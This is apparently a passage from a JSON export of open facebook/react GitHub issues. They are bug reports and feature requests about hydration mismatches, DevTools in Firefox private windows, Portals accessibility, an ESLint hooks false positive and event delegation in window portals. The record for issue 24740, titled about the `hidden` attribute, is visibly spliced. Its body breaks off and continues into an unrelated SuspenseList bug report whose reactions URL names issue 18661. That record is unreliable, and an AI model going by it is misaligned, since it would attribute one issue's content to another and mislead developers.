"user": { "login": "shiba-codes", "id": 1089670, "node_id": "MDQ6VXNlcjEwODk2NzA=", "avatar_url": "https://avatars.githubusercontent.com/u/1089670?v=4", "gravatar_id": "", "url": "https://api.github.com/users/shiba-codes", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2022-08-04T06:35:26Z", "updated_at": "2024-10-04T16:25:58Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "We render some markup on the server, but on the client (due to the bug in our app's code) we have a different state and we render nothing (instead of our markup).\r\n\r\nIn this case React should fallback to client render, so it is expected that the server-rendered markup is removed, but it's not. \r\n\r\nNotice, how the server-rendered placeholders are still visible though the `console.log` inside the component states that the visible state is false:\r\n\"Screenshot\r\n\r\nThe problem exists only if this branch happens to be at the very top of the components tree. React doesn't even see the mismatch.\r\n\r\nReact version: 18.2.0\r\n\r\n## Steps To Reproduce\r\n\r\n1. render some markup on the server\r\n2. on client side render it as null\r\n\r\nLink to code example:\r\n\r\nhttps://stackblitz.com/edit/react-kpphvo?file=src/App.js\r\n\r\n## The current behavior\r\n\r\nMismatch is ignored, client's render result is not applied\r\n\r\n## The expected behavior\r\n\r\nFallback to client's render result, mismatch warning is reported, server rendered markup is removed", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25038/reactions", "total_count": 5, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 5 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25033", "id": 1326880667, "node_id": "I_kwDOAJy2Ks5PFpeb", "number": 25033, "title": "ReactDevTools extension doesn't work in private Firefox windows [DevTools Bug]: ", "user": { "login": "ndejoma", "id": 97474001, "node_id": "U_kgDOBc9V0Q", "avatar_url": "https://avatars.githubusercontent.com/u/97474001?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ndejoma", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2022-08-03T08:42:51Z", "updated_at": "2026-01-14T08:47:26Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\r\n\r\nreactjs.org\r\n\r\n### Repro steps\r\n\r\n1. Install the ReactDev tools extension for Firefox ( I am running Firefox Dev edition Version 104.0b5 on Debian-Linux)\r\n2. Allow the extension to run in private WIndows by going to Add-ons and themes (Ctrl + Shift + A)\r\n3. Visit any website running a development or production of React in Firefox(I have tested Firefox dev Edition and FirefoxESR) \r\n4. Open Firefoxdevtools and visit the components tab added by the Reactdevtools extenstion\r\n5. I have tested a local dev build and a production build of React, and weirdly it works in non-private windows. But in Private windows, it doesn't see that the page uses React.\r\n6. Below is a screenshot of what I see on both websites\r\n7. ![reactdevtoolsbug](https://user-images.githubusercontent.com/97474001/182564648-ea35b0cf-0395-48b4-9c07-0220044d5422.png)\r\n\r\n\r\n\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### DevTools package (automated)\r\n\r\n_No response_\r\n\r\n### DevTools version (automated)\r\n\r\n_No response_\r\n\r\n### Error message (automated)\r\n\r\n_No response_\r\n\r\n### Error call stack (automated)\r\n\r\n_No response_\r\n\r\n### Error component stack (automated)\r\n\r\n_No response_\r\n\r\n### GitHub query string (automated)\r\n\r\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25033/reactions", "total_count": 3, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/25007", "id": 1322193851, "node_id": "I_kwDOAJy2Ks5OzxO7", "number": 25007, "title": "[DevTools Bug] Children cannot be added or removed during a reorder operation.", "user": { "login": "HamaydaGabsi", "id": 93079374, "node_id": "U_kgDOBYxHTg", "avatar_url": "https://avatars.githubusercontent.com/u/93079374?v=4", "gravatar_id": "", "url": "https://api.github.com/users/HamaydaGabsi", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 11, "created_at": "2022-07-29T12:33:34Z", "updated_at": "2024-01-14T19:09:31Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://github.com/HamaydaGabsi/Color-Project\n\n### Repro steps\n\n1. Select a palette\r\n2. Select to color to view shades\r\n3. Go back to the colors with the navigation arrow\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n4.25.0-336ac8ceb\n\n### Error message (automated)\n\nChildren cannot be added or removed during a reorder operation.\n\n### Error call stack (automated)\n\n```text\nat chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:26848:41\r\n at bridge_Bridge.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:24626:22)\r\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:24795:14\r\n at listener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:54959:39)\n```\n\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Children cannot be added or removed during a reorder operation. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```\n", "closed_by": { "login": "HamaydaGabsi", "id": 93079374, "node_id": "U_kgDOBYxHTg", "avatar_url": "https://avatars.githubusercontent.com/u/93079374?v=4", "gravatar_id": "", "url": "https://api.github.com/users/HamaydaGabsi", "type": "User", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/25007/reactions", "total_count": 6, "+1": 6, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": "reopened", "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/24987", "id": 1316963162, "node_id": "I_kwDOAJy2Ks5Of0Na", "number": 24987, "title": "[Portals] DOM order accessibility", "user": { "login": "svinkle", "id": 1392632, "node_id": "MDQ6VXNlcjEzOTI2MzI=", "avatar_url": "https://avatars.githubusercontent.com/u/1392632?v=4", "gravatar_id": "", "url": "https://api.github.com/users/svinkle", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "1": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 10, "created_at": "2022-07-25T14:56:33Z", "updated_at": "2022-08-02T19:37:26Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "**Components built with Portals include accessibility defects leading to poor usability/task abandonment.**\r\n\r\nDuring accessibility audits and usability testing of Shopify components, we’ve noticed a prominent defect with components built with Portals; DOM structure.\r\n\r\nPortals sets dynamically generated content containers at the bottom of the DOM. This is fine for modal window components since keyboard focus is explicitly placed on/within the modal container. The Portals documentation even calls this out and links to APG for more documentation.\r\n\r\nThe issue lies with other component patterns; [disclosures](https://www.w3.org/WAI/ARIA/apg/patterns/disclosure/) (popovers, drop-down navigation, etc,) [comboboxes](https://www.w3.org/WAI/ARIA/apg/patterns/combobox/), [tooltips](https://www.w3.org/WAI/ARIA/apg/patterns/tooltip/), etc. The expectation for these components is for focus to **remain** on the activator and for dynamic content containers to appear **next** in the DOM, a direct sibling to the related activator control.\r\n\r\nFor example, during usability testing, testers struggled to use one such component which was built using Portals. When the dynamic container appeared after interacting with the activator, testers would move their screen reader virtual cursor forward from the activator, expecting to interact with the dynamic content. Instead, the cursor moved \"underneath\" the container, bypassing the content, to the next (unrelated) item in the DOM. This led to a confusing user experience.\r\n\r\nIn addition, this issue is a violation of WCAG [1.3.2: Meaningful Sequence](https://www.w3.org/WAI/WCAG21/Understanding/meaningful-sequence.html) (Level A.) Specifically, [Failure of Success Criterion 1.3.2 due to changing the meaning of content by positioning information with CSS](https://www.w3.org/WAI/WCAG21/Techniques/failures/F1).\r\n\r\n**Is it possible to adjust the position of the dynamic content container to be a sibling of the activator?**\r\n\r\nThis would be a big win for accessibility, not only for Shopify components built with Portals, but for all platforms.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/24987/reactions", "total_count": 9, "+1": 5, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 4, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/24795", "id": 1285626431, "node_id": "I_kwDOAJy2Ks5MoRo_", "number": 24795, "title": "[Devtools Feature]:[Open in Editor URL]Expect to add a switch to allow users to use GET requests", "user": { "login": "xlzy520", "id": 28336270, "node_id": "MDQ6VXNlcjI4MzM2Mjcw", "avatar_url": "https://avatars.githubusercontent.com/u/28336270?v=4", "gravatar_id": "", "url": "https://api.github.com/users/xlzy520", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2022-06-27T10:58:21Z", "updated_at": "2024-04-11T15:55:46Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "It is now requested by default using window.open.If you use it a lot, you will leave a lot of new tabs.\r\n\r\n### Config\r\n\"image\"\r\n\r\n\r\n\"image\"\r\n\r\n### window.open\r\n\"image\"\r\n\r\n**This problem can be avoided if GET request is used.**", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/24795/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/24791", "id": 1284891253, "node_id": "I_kwDOAJy2Ks5MleJ1", "number": 24791, "title": "Bug: eslint-plugin-react-hooks false positive conditional call after foreach", "user": { "login": "Newbie012", "id": 10504365, "node_id": "MDQ6VXNlcjEwNTA0MzY1", "avatar_url": "https://avatars.githubusercontent.com/u/10504365?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Newbie012", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 1249821345, "node_id": "MDU6TGFiZWwxMjQ5ODIxMzQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20ESLint%20Rules", "name": "Component: ESLint Rules", "color": "f7afdb", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2022-06-26T11:54:31Z", "updated_at": "2024-06-22T10:36:28Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nReact version:\r\n```\r\n \"react\": \"^18.2.0\",\r\n \"react-dom\": \"^18.2.0\"\r\n\r\n \"eslint\": \"^8.18.0\",\r\n \"eslint-plugin-react-hooks\": \"^4.6.0\",\r\n```\r\n\r\n## Steps To Reproduce\r\n\r\n1. Open https://stackblitz.com/edit/vitejs-vite-tpaumc?file=src%2FApp.tsx&terminal=dev\r\n2. Run `npx eslint src`\r\n3. Get the following error:\r\n\r\n```\r\nerror React Hook \"React.useState\" is called in function \"App.View\" that is neither a React function component nor a custom React Hook function. React component names must start with an uppercase letter. React Hook names must start with the word \"use\" react-hooks/rules-of-hooks\r\n```\r\n\r\n\r\n\r\nLink to code example: https://stackblitz.com/edit/vitejs-vite-tpaumc?file=src%2FApp.tsx&terminal=dev\r\n\r\n\r\n\r\n## The current behavior\r\n\r\nGiven the following pattern:\r\n\r\n```tsx\r\nconst MyComponent = () => {\r\n return ;\r\n}\r\n\r\nMyComponent.Ready = () => {\r\n const [...] = useX();\r\n\r\n return (...);\r\n}\r\n```\r\n\r\nI get the following error:\r\n\r\nerror React Hook \"React.useState\" is called in function \"MyComponent.Ready\" that is neither a React function component nor a custom React Hook function. React component names must start with an uppercase letter. React Hook names must start with the word \"use\" react-hooks/rules-of-hooks\r\n\r\n\r\n## The expected behavior\r\n\r\nSince MyComponent.Ready is an actual component, I shouldn't get this error.\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/24791/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/24762", "id": 1276808514, "node_id": "I_kwDOAJy2Ks5MGo1C", "number": 24762, "title": "[Devtools Feature]:let devtool component picker to spport custom renderer which runs on web", "user": { "login": "xingxinglieo", "id": 48762792, "node_id": "MDQ6VXNlcjQ4NzYyNzky", "avatar_url": "https://avatars.githubusercontent.com/u/48762792?v=4", "gravatar_id": "", "url": "https://api.github.com/users/xingxinglieo", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 739761016, "node_id": "MDU6TGFiZWw3Mzk3NjEwMTY=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Reconciler", "name": "Component: Reconciler", "color": "f9a798", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2022-06-20T11:50:29Z", "updated_at": "2022-06-21T00:25:52Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "I develop a custom renderer `egreact`, it's a custom renderer for egret , egret is a game engine depend on canvas.\r\n\r\nThanks for `injectIntoDevTools` that users can view components tree by react devtool easily.But unfortunately, `injectIntoDevTools` does't provide an interface for picking a custom renderer component.\r\n\r\nTo support it, i read the source code of devtool and tried writing some inject code. Fortunately, it works well!\r\n\r\n![https://user-images.githubusercontent.com/48762792/174010546-94a2c99c-b0ea-402e-9d3b-2feb7c1ea104.gif](https://user-images.githubusercontent.com/48762792/174010546-94a2c99c-b0ea-402e-9d3b-2feb7c1ea104.gif)\r\n\r\n**Here is what i did mainly:**\r\n\r\n**1.intercept `window.listener`**\r\n\r\n```tsx\r\n// @link https://github.com/facebook/react/blob/c3d7a7e3d72937443ef75b7e29335c98ad0f1424/packages/react-devtools-shared/src/backend/views/Highlighter/index.js#L41\r\nfunction registerListenersOnWindow(window) {\r\n // This plug-in may run in non-DOM environments (e.g. React Native).\r\n if (window && typeof window.addEventListener === 'function') {\r\n window.addEventListener('click', onClick, true);\r\n window.addEventListener('mousedown', onMouseEvent, true);\r\n window.addEventListener('mouseover', onMouseEvent, true);\r\n window.addEventListener('mouseup', onMouseEvent, true);\r\n window.addEventListener('pointerdown', onPointerDown, true);\r\n window.addEventListener('pointerover', onPointerOver, true);\r\n window.addEventListener('pointerup', onPointerUp, true);\r\n }\r\n }\r\n```\r\n\r\n [my code](https://github.com/xingxinglieo/egreact/blob/a6214979274e29f6252f8aaacb2a86806e688db3/packages/core/src/devtool.ts#L122), intercept `window.listener` to judge is the point in the canvas, if true, mock an event which target is game engine instance.\r\n\r\n```tsx\r\nconst proxyHandler: EventHandler = function (e: MouseEvent) {\r\n const { pageX: x, pageY: y } = e\r\n const r = getCanvas().getBoundingClientRect()\r\n r.x += window.scrollX\r\n r.y += window.scrollY\r\n // to judge is mouse envent ponit in canvas\r\n if (x > r.x && x < r.x + r.width && y > r.y && y < r.y + r.height) {\r\n const scale = caculateScale()\r\n const target = findTargetByPosition(\r\n egret.lifecycle.stage,\r\n (x - r.x) / scale,\r\n (y - r.y) / scale,\r\n ) as any\r\n // mock a new event, change target to egret instance, because e.target is read only\r\n e = {\r\n ...e,\r\n preventDefault: e.preventDefault.bind(e),\r\n stopPropagation: e.stopPropagation.bind(e),\r\n target,\r\n }\r\n}\r\n```\r\n\r\n**2.proxy `window.getComputedStyle`** \r\n\r\n```tsx\r\n/**\r\n * @description proxy window.getComputedStyle,let it can handle game engine instance\r\n * @link https://github.com/facebook/react/blob/29c2c633159cb2171bb04fe84b9caa09904388e8/packages/react-devtools-shared/src/backend/views/utils.js#L113\r\n */\r\nexport function proxyGetComputedStyle() {\r\n window.getComputedStyle = function (el, pseudo) {\r\n if (\r\n Object.entries(catalogueMap).some(\r\n ([n, catalogue]) => catalogue.__Class && el instanceof catalogue.__Class,\r\n )\r\n ) {\r\n return emptyCSSStyleSheet\r\n } else {\r\n return getComputedStyle.call(this, el, pseudo)\r\n }\r\n }\r\n}\r\n```\r\n\r\n**3.compliant dom attributes is used in devtool**\r\n\r\n```tsx\r\nif (process.env.NODE_ENV !== 'production') {\r\n // devtool need to get rect of element\r\n // https://github.com/facebook/react/blob/29c2c633159cb2171bb04fe84b9caa09904388e8/packages/react-devtools-shared/src/backend/views/utils.js#L108\r\n instance.getBoundingClientRect = () => getBoundingClientRect(instance)\r\n\r\n // https://github.com/facebook/react/blob/327e4a1f96fbb874001b17684fbb073046a84938/packages/react-devtools-shared/src/backend/views/Highlighter/Overlay.js#L193\r\n instance.nodeType = 1\r\n\r\n // https://github.com/facebook/react/blob/327e4a1f96fbb874001b17684fbb073046a84938/packages/react-devtools-shared/src/backend/views/Highlighter/Overlay.js#L233\r\n instance.nodeName = instance.__class__\r\n\r\n instance.ownerDocument = document\r\n }\r\n```\r\n\r\nBased on this, I hope the `injectIntoDevTools` can provide the interface like this \r\n\r\n```tsx\r\ninterface InjectIntoDevToolsOptions {\r\n\t\t\t// to judge is the point in the range of custom renderer,\r\n\t\t\t// if true, return instance\r\n\t\t\tisInCustomRenderer: (Event) => instance | null \r\n\t\t\t// get left/top/width/height of instance\r\n\t\t\tgetBoundingClientRect: (instance) => any \r\n\t\t\t// get border/margin/padding/content of instance\r\n\t\t\tgetComputedStyle: (instance) => any\r\n\t\r\n}\r\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/24762/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/24740", "id": 1273872276, "node_id": "I_kwDOAJy2Ks5L7b-U", "number": 24740, "title": "Bug: `hidden` attribute does not accept string values", "user": { "login": "jantimon", "id": 4113649, "node_id": "MDQ6VXNlcjQxMTM2NDk=", "avatar_url": "https://avatars.githubusercontent.com/u/4113649?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jantimon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null }, "2": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2022-06-16T17:25:12Z", "updated_at": "2025-12-12T21:31:27Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nReact version: \r\n\r\n```\r\n \"react\": \"18.3.0-next-522f47345-20220614\",\r\n \"react-dom\": \"18.3.0-next-522f47345-20220614\",\r\n``` \r\n\r\n## Steps To Reproduce\r\n\r\n```jsx\r\n
}>\r\n \r\n \r\n Loading B}>\r\n \r\n \r\n Loading C}>\r\n \r\n \r\n \r\n \r\n)\r\n```\r\n\r\n3. Output is: `A / Loading B / Loading C`. While `B` has already been loaded (not lazy loaded). If I understand well the behaviour of `forwards` I would have expect to have `A / B / Loading C` instead.\r\n\r\nPlease note that the behaviour is not the same if I do not use nested ``.\r\n\r\n\r\n\r\nCodeSandbox: https://codesandbox.io/s/mutable-rain-3ikor\r\nGitHub pages repro: https://dubzzz.github.io/react-suspenselist-bug/build/\r\nGitHub pages source code: https://github.com/dubzzz/react-suspenselist-bug\r\n\r\n\r\n\r\n## The current behavior\r\n\r\nOutput is: `A / Loading B / Loading C` with nested `SuspenseList`\r\n\r\n## The expected behavior\r\n\r\nOutput is: `A / B / Loading C` with nested `SuspenseList`\r\n\r\n**How did I found this bug?**\r\n\r\nThis _potential bug_ has been discovered while I was trying to run property based tests based on [fast-check](https://github.com/dubzzz/fast-check/) against React library.\r\n\r\nSee https://github.com/dubzzz/react/commit/e2cb4776ea3634fab2021d83cb8259bde03c0f3a\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/18661/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/18616", "id": 600537991, "node_id": "MDU6SXNzdWU2MDA1Mzc5OTE=", "number": 18616, "title": "Bug: window as new portal will break event delegation", "user": { "login": "hanq08", "id": 11851678, "node_id": "MDQ6VXNlcjExODUxNjc4", "avatar_url": "https://avatars.githubusercontent.com/u/11851678?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hanq08", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2020-04-15T19:32:36Z", "updated_at": "2020-07-13T12:50:45Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nReact version: any?\r\n\r\n## Steps To Reproduce\r\n\r\n1. Button attach to a window portal with window.open\r\n2. Event not triggering\r\n\r\n\r\n\r\n\r\nLink to code example:\r\n```javascript\r\nconst { useState, useEffect } = React;\r\n\r\n\r\nfunction WindowPortal({ children }) {\r\n const [container, setContainer] = useState(document.createElement('div'));\r\n useEffect(() => { \r\n const newWindow = window.open('', '', 'width=600,height=400,left=200,top=200');\r\n newWindow.document.body.appendChild(container);\r\n });\r\n return ReactDOM.createPortal(children, container);\r\n}\r\nfunction App() {\r\n const [value, setValue] = useState('unclicked');\r\n const handleClick = () => setValue('clicked'); \r\n return (\r\n
\r\n
Portal Test
\r\n \r\n \r\n \r\n
\r\n );\r\n}\r\n\r\nReactDOM.render(\r\n React.createElement(App),\r\n document.getElementById('root')\r\n);\r\n```\r\n\r\nAny event in the new window will not be triggered since all events are bind to the original window. I think react can support a new mode for using native event binding rather than event delegation if it makes sense. [Preact](https://github.com/preactjs/preact) actually uses native browser event and don't use react event delegation system.\r\n## The current behavior\r\nEvent not trigger for components in new window\r\n\r\n## The expected behavior\r\nEvent will trigger", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/18616/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/18502", "id": 594991753, "node_id": "MDU6SXNzdWU1OTQ5OTE3NTM=", "number": 18502, "title": "Bug: Server hydration mistmatch and radio group with defaultChecked", "user": { "login": "leoasis", "id": 328001, "node_id": "MDQ6VXNlcjMyODAwMQ==", "avatar_url": "https://avatars.githubusercontent.com/u/328001?v=4", "gravatar_id": "", "url": "https://api.github.com/users/leoasis", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": 